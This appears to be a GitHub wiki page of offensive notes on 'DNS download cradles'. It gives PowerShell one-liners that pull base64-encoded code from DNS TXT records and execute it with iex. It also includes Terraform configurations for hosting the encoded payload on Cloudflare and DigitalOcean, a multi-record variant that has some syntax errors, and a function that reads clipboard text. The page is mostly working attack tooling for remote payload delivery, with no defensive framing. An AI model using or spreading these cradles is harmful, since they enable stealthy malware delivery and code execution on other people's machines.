DNS Download Cradle - evilmog/evilmog GitHub Wiki

Powershell

$m=(-join (resolve-dnsname -type txt txt.domain.here).strings); iex (([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m))))

base64 encode on linux

cat test.ps1 | base64 -w 0

Terraform Config for Cloudflare

resource "cloudflare_record" "ninjatxt" {
    domain = "crappydomain"
    name = "ms2"
    value = "[encodedjunkhere]"
    type = "TXT"
    ttl = 300
}

Digital Ocean Terraform

resource "digitalocean_domain" "arbitrarydomain" {
  name       = "arbitrary.domain"
  ip_address = "${digitalocean_droplet.arbitraryhost.ipv4_address}"
}

resource "digitalocean_record" "doninjatxt1" {
  domain = "${digitalocean_domain.arbitrarydomain.name}"
  type   = "TXT"
  name   = "@"
  value  = "[insert encoded junk here]"
  ttl    = "300"
}

Even more evil multi record cradle

$z='';$n=1..2;ForEach ($i in $n) { $z += ((resolve-dnsname -type txt $icrapdomain.org).strings) }; iex((System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($z))))

more shenanigans

function Get-ClipboardText{
	Add-Type -AssemblyName 'PresentationCore'
	Write-Output ([System.Windows.Clipboard]::GetText())
}